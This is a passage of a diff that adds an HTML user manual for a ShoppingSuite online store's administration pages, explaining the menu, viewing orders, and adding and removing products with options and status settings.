+                       remember or find your password?</B></FONT></FONT></P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=1 STYLE="font-size: 8pt"><FONT FACE="Arial, sans-serif">Your
+                       username and password are given to you on the cover page of this
+                       document. If, for some reason you are missing that page call
+                       1-877-GASLIGHt to receive a password.</FONT></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+       </TR>
+</TABLE>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium; page-break-before: always">
+<B><FONT SIZE=5><FONT FACE="Arial, sans-serif"><FONT COLOR="#808080">Become
+Familiar with the Home Page</FONT></FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you log into your website, this is your store&rsquo;s administration
+home page. <I>See Figure 2.</I>The focus of this webpage is the menu
+at the top. It contains Orders, Products, Inventory Report, Shop
+Promotions, UPS Tracking, Contacts, Retail Newsletter, Media Toolbox
+and <BR>Server Statistics.</FONT></FONT></P>
+<P CLASS="western" ALIGN=CENTER STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_412aa01b.jpg" NAME="Graphic3" ALIGN=LEFT HSPACE=12 WIDTH=378 HEIGHT=295 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium">                      
+        
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><CENTER>
+       <TABLE DIR="LTR" WIDTH=373 BORDER=0 CELLPADDING=7 CELLSPACING=0>
+               <COL WIDTH=60>
+               <COL WIDTH=61>
+               <COL WIDTH=60>
+               <COL WIDTH=61>
+               <COL WIDTH=61>
+               <TR VALIGN=TOP>
+                       <TD WIDTH=60>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>ORDERS</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Products</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=60>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Inventory
+                               Report</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Shop
+                               Promotions</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><BR>
+                               </P>
+                       </TD>
+               </TR>
+               <TR VALIGN=TOP>
+                       <TD WIDTH=60>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>UPS
+                               Tracking</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Contacts</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=60>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Retail
+                               Newsletter</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Media
+                               Toolbox</B></U></FONT></FONT></P>
+                       </TD>
+                       <TD WIDTH=61>
+                               <P CLASS="western" ALIGN=CENTER><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><U><B>Server
+                               Statistics</B></U></FONT></FONT></P>
+                       </TD>
+               </TR>
+       </TABLE>
+</CENTER>                                   
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium">                      
+          <B><FONT SIZE=1 STYLE="font-size: 8pt"><FONT FACE="Arial, sans-serif"><BR>
+                                <I>Figure 2<BR></I></FONT></FONT></B><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+following are brief descriptions of the menu items:</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<TABLE WIDTH=590 BORDER=0 CELLPADDING=7 CELLSPACING=0>
+       <COL WIDTH=269>
+       <COL WIDTH=293>
+       <TR VALIGN=TOP>
+               <TD WIDTH=269 HEIGHT=343>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Orders</B></FONT></FONT></P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+                       Orders webpage displays all your online store&rsquo;s orders. <I>See
+                       page 4.<BR></I></FONT></FONT><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Products<BR></B>The
+                       Products webpage is the management tool for all your products in
+                       your online store. <I>See page 5.</I><B> </B></FONT></FONT>
+                       </P>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Inventory
+                       Report</B></FONT></FONT></P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+                       Inventory Report webpage allows you to view your online store&rsquo;s
+                       inventory. <I>See <BR>page 8.<BR></I></FONT></FONT><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Shop
+                       Promotions</B><I><BR></I>The Shop Promotions webpage allows you to
+                       add a promotion code to your shop and also holiday shipping. <I>See
+                       page 9.</I></FONT></FONT></P>
+                       <P CLASS="western" STYLE="font-weight: medium"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><I><BR></I></FONT></FONT><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=293>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>UPS
+                       Tracking<BR></B>The UPS Tracking webpage manages all the shipping
+                       information for the orders. <I>See page 10.</I></FONT></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Contacts<BR></B>The
+                       Contacts webpage allows you to build a customer database and send
+                       newsletters to those customers. <I>See page 11.</I></FONT></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Retail
+                       Newsletter<BR></B>The Retail Newsletter webpage allows you to
+                       write newsletters. <I>See page 12.</I></FONT></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Media
+                       Toolbox<BR></B>The Media Toolbox webpage allows you to change the
+                       categories in your store. <I>See <BR>page 13</I><B>.</B></FONT></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Sever
+                       Statistics<BR></B>The Server Statistics webpage allows you to view
+                       how many visitors is visiting has visited your website. <I>See
+                       page 15.</I></FONT></FONT></P>
+                       <P DIR="RTL" CLASS="western" ALIGN=LEFT STYLE="font-weight: medium">
+                       <BR>
+                       </P>
+               </TD>
+       </TR>
+</TABLE>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Orders</B></FONT></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>VIEW
+AN ORDER</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+Orders webpage will allow you to view all the orders from your online
+store.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+1: Specify the Order Date Range</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Orders</B>&rdquo; located in the top menu. Next you will
+see a form that you can specify the range of dates that the order was
+placed in.<I> See Figure 3. </I>Once you have specified the dates you
+would like to search click the button &ldquo;<B>Retrieve Orders</B>&rdquo;.
+</FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Orders</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"> 
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see displayed a complete list of all the orders during the
+dates that you specified on Step 1. Click the order number of the
+order you would like more information about. <I>See Figure 4.</I></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Order Information</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"> 
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see the detailed information about that order including
+shipping &amp; billing information. If you would like to print the
+order, in the upper right-hand corner of the page is a button labeled
+&ldquo;<B>Print Order</B>&rdquo;, click it and the order will print
+on your printer.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_m28494708.jpg" NAME="Graphic4" ALIGN=BOTTOM WIDTH=264 HEIGHT=89 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+3</FONT></B></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_2691f37a.jpg" NAME="Graphic5" ALIGN=BOTTOM WIDTH=264 HEIGHT=39 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+4</FONT></B></FONT></P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Products</B></FONT></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A PRODUCT</FONT></FONT></B></P>
+<P CLASS="western"><A NAME="OLE_LINK6"></A><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Determine and locate the category for your product<BR></B></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on <B>&ldquo;Products&rdquo;</B> located in the top menu. Decide what
+category the product you are adding belongs in. One button on the
+left next to the category will say &ldquo;<B>edit</B>&rdquo;, the
+other button with either say &ldquo;<B>products</B>&rdquo; or
+&ldquo;<B>subcategory</B>&rdquo;. &ldquo;<B>Products</B>&rdquo; means
+that the category is ready for you to add your product in. If it says
+&ldquo;<B>products</B>&rdquo; next to the category you have chosen
+click <B>&ldquo;products&rdquo;</B> and skip to Step 2. If the button
+says &ldquo;<B>subcategory</B>&rdquo;, this means that you will need
+to add it to more of a specific category. Click <B>&ldquo;subcategory&rdquo;.</B>
+Next you will find a list of more categories. Again, you must decide
+what category your product belongs in. Besides the &ldquo;<B>edit</B>&rdquo;
+button, if the button on the left next to the category says
+&ldquo;<B>product</B>&rdquo;, click <B>&ldquo;products&rdquo;</B> and
+skip to Step 2. If the button again says &ldquo;<B>subcategory</B>&rdquo;
+you will have to choose a more specific category your product belongs
+in. The goal is to choose a specific category for your product with
+the buttons next to it saying &ldquo;<B>edit</B>&rdquo; and
+&ldquo;<B>products</B>&rdquo;. This means that the category is
+narrowed down far enough for you to add your products to. Once you
+have reached that point, click the button &ldquo;<B>products&rdquo;</B>.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Add New Product</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"> <FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT><FONT SIZE=2>In
+the category you chose, you might see other products that you have
+already entered and it also might be empty. At the bottom is the
+button &ldquo;<B>Add New Product</B>&rdquo;, click it.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Type the Product Information<BR></FONT></FONT></B><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">This
+is the form that you type all the information about that product in
+the appropriate areas. Every field is optional, but the more
+information you can provide per product, the better the shopping
+experience will be for your customer. <I>See Figure 5.</I></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><I><FONT SIZE=2><FONT FACE="Arial, sans-serif">Product
+Information    </FONT></FONT></I></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Product:
+       Type the name of the product you are adding to your store.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Header:<B>
+       </B>The header could be either the name of the product that you just
+       entered or a more descriptive name. For example, you could make the
+       <B>&ldquo;Product&rdquo;</B> name be a title of a book, and the
+       <B>&ldquo;Header&rdquo;</B> could be the title of the book and the
+       author. Type what you have decided in that box. </FONT></FONT>
+       </P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_76e0f626.png" NAME="Graphic6" ALIGN=BOTTOM WIDTH=265 HEIGHT=275 BORDER=0><FONT FACE="Arial, sans-serif"><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+5</FONT></I></B></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Description:
+       Type a description for your product. Enter as much detail about the
+       product as possible.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Image:
+You have the option to add one image related to the product, it could
+be the product itself, the box it comes in, it&rsquo;s up to you.
+When you click the &ldquo;<B>Browse</B>&rdquo; button, it will open a
+file window that allows you to browse your computer and choose an
+image file to add. Choose the image then click <B>&ldquo;Open&rdquo;</B>.
+</FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><A NAME="OLE_LINK7"></A>
+<FONT FACE="Arial, sans-serif"><FONT SIZE=2>** Rules of thumb for
+uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">These
+       image files should be no greater than 600 Pixels wide.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><I>First
+Line Item</I></FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">SKU:
+       Type the products SKU number in the box. This is used for your
+       <BR>inventory purposes.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Price:
+       Type the price of your product.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Available
+       Quantity: Type the quantity of the specific product you have in
+       stock. An accurate amount will not allow customers to order an out
+       of stock item, and will assist in accurate inventory. </FONT></FONT>
+       </P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Description:<B>
+       </B>This description is different from the earlier one; this
+       description should be a short and sweet description of the product.
+       You can type the name of the product again or a shorter version of
+       it.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Ship
+       Weight Unit: Enter the weight of the product as a decimal unit. The
+       shipping calculates by the pound, therefore a 8 ounce product would
+       be entered as .5</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Size:
+       Type the size of the product. The size could be &ldquo;<B>Large</B>&rdquo;
+       when referring to clothing or &ldquo;<B>34&rdquo; x 24&rdquo;</B>&rdquo;
+       when referring to a painting. It&rsquo;s up to your product.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Add Product<BR></B></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button &ldquo;<B>Add
+Product</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+5: Type the Advanced Information</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you clicked the &ldquo;<B>Add Product</B>&rdquo; button you will
+notice that the next page contains all the information you just
+typed, plus a few advanced information boxes. Just like before every
+field is optional, but the more information you can provide per
+product, the better the shopping experience will be for your
+customer.</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><A NAME="OLE_LINK8"></A>
+       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Non-taxable Item: If
+       your item is tax exempt, check this box.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Options:
+       This button is for special options for the item. Such as gift
+       wrapping and maybe similar items that the customer might purchase
+       with the item. For example, if your product is a book, you can add
+       options to that book. </FONT></FONT>
+       </P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_m78ff242b.png" NAME="Graphic7" ALIGN=BOTTOM WIDTH=264 HEIGHT=219 BORDER=0></P>
+<P CLASS="western" STYLE="font-weight: medium"><B><I><FONT SIZE=1 STYLE="font-size: 8pt"><FONT FACE="Arial, sans-serif">Figure
+6</FONT></FONT></I></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">You
+can start by clicking the button &ldquo;<B>Options</B>&rdquo; and a
+popup window will load. In the option row you can type &ldquo;<B>Gift
+Wrapping</B>&rdquo; in the far right box. In the value row type
+&ldquo;<B>Yes</B>&rdquo;, and in the add row type &ldquo;<B>3.00</B>&rdquo;.
+Then you can add another. If you add an option that cost money that
+the customer has to decide if they want it or not you must enter an
+option of not wanting it. So you would then pull down the option menu
+in the option row, you would choose &ldquo;<B>Gift Wrapping</B>.&rdquo;
+In the value row type &ldquo;<B>No Thanks</B>&rdquo; and in the add
+row type &ldquo;<B>0</B>&rdquo;. <I>See Figure 6.</I> Now click
+<B>&ldquo;Finished&rdquo;</B>. You have successfully added an option
+to your book that if the customer would like gift wrapping an
+additional $3.00 is placed on their bill, but if they would not like
+it gift wrapped, they could choose &ldquo;<B>No Thanks</B>&rdquo;.
+You could also add size and color options for my product using these
+<BR>same options.</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Status:
+       </B>This pull down menu has several options for your product:</FONT></FONT></P>
+</UL>
+<UL>
+       <UL>
+               <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Active:
+               </B>Select this option if the product is an active product in your
+               store, customers can purchase it and you have it in stock and it&rsquo;s
+               not new or on special. </FONT></FONT>
+               </P>
+               <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>New:
+               </B>Select this option if the product is new to your store. Upon
+               selecting this flag, a new category will be created on the shop
+               navigation as well as next to each product flagged as such. This
+               will allow your customers to browse all items you have flagged as
+               New or see the new items in any given category.</FONT></FONT></P>
+               <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Special:</B>
+               Select this option if your product is on special; usually selecting
+               this will coincide with a lowering the product price. If you select
+               this, a red &ldquo;<B>SPECIAL!</B>&rdquo; will be placed next to
+               the product not only when a customer searches for it but also on
+               the <BR>product page.</FONT></FONT></P>
+               <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Inactive:</B>
+               Select this option if you no longer wish to sell the product or the
+               product is out of stock. Selecting this will not allow the
+               customers to see or purchase the product, but it will keep it in
+               your store just incase you will decide to sell it again or when you
+               receive more supply of the product.</FONT></FONT></P>
+       </UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Promo
+       Message:</B> If the status that you selected above is &ldquo;<B>New</B>&rdquo;
+       or &ldquo;<B>Special</B>&rdquo; you can add a message explaining
+       this, such as &ldquo;<B>New for 2003</B>&rdquo; or &ldquo;<B>Overstock
+       Sale of this Item</B>&rdquo;. If the status is &ldquo;<B>Active</B>&rdquo;
+       or &ldquo;<B>Inactive</B>&rdquo; you could add a message to yourself
+       that the customer will not see, such as &ldquo;<B>Sold really well
+       last season</B>&rdquo; or &ldquo;<B>Still waiting for shipment of
+       the item</B>&rdquo;.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="page-break-before: always"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+6: Done!</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have entered in all the information you would like, click the
+&ldquo;<B>DONE</B>&rdquo; button on the bottom.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>REMOVE
+A PRODUCT</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Find the Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>Products</B>&rdquo; on the top menu. Here you will find
+the same list of categories as when we added the product. We need to
+find the product in these categories. Choose the category that the
+product is in. There are two buttons next to the category, the first
+one says &ldquo;<B>edit</B>&rdquo;. If the second button next to the
+category says &ldquo;<B>products</B>&rdquo; click it the button and
+skip to Step 2. If second the button says &ldquo;<B>subcategory</B>&rdquo;
+you will have to choose the product out of a subcategory, just like
+you did when you added the product. Again, the goal is to have the
+second button next to the category say &ldquo;<B>products</B>&rdquo;,
+once you have reached this point, click the button &ldquo;<B>products</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Modify the Products Property</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+to the product we want to remove, click the button labeled <B>&ldquo;edit&rdquo;.</B>
+Next you will see the all of the products properties (price,
+description), which is the same view as when we added the product.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"> <FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Step
+3: Remove the Product</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
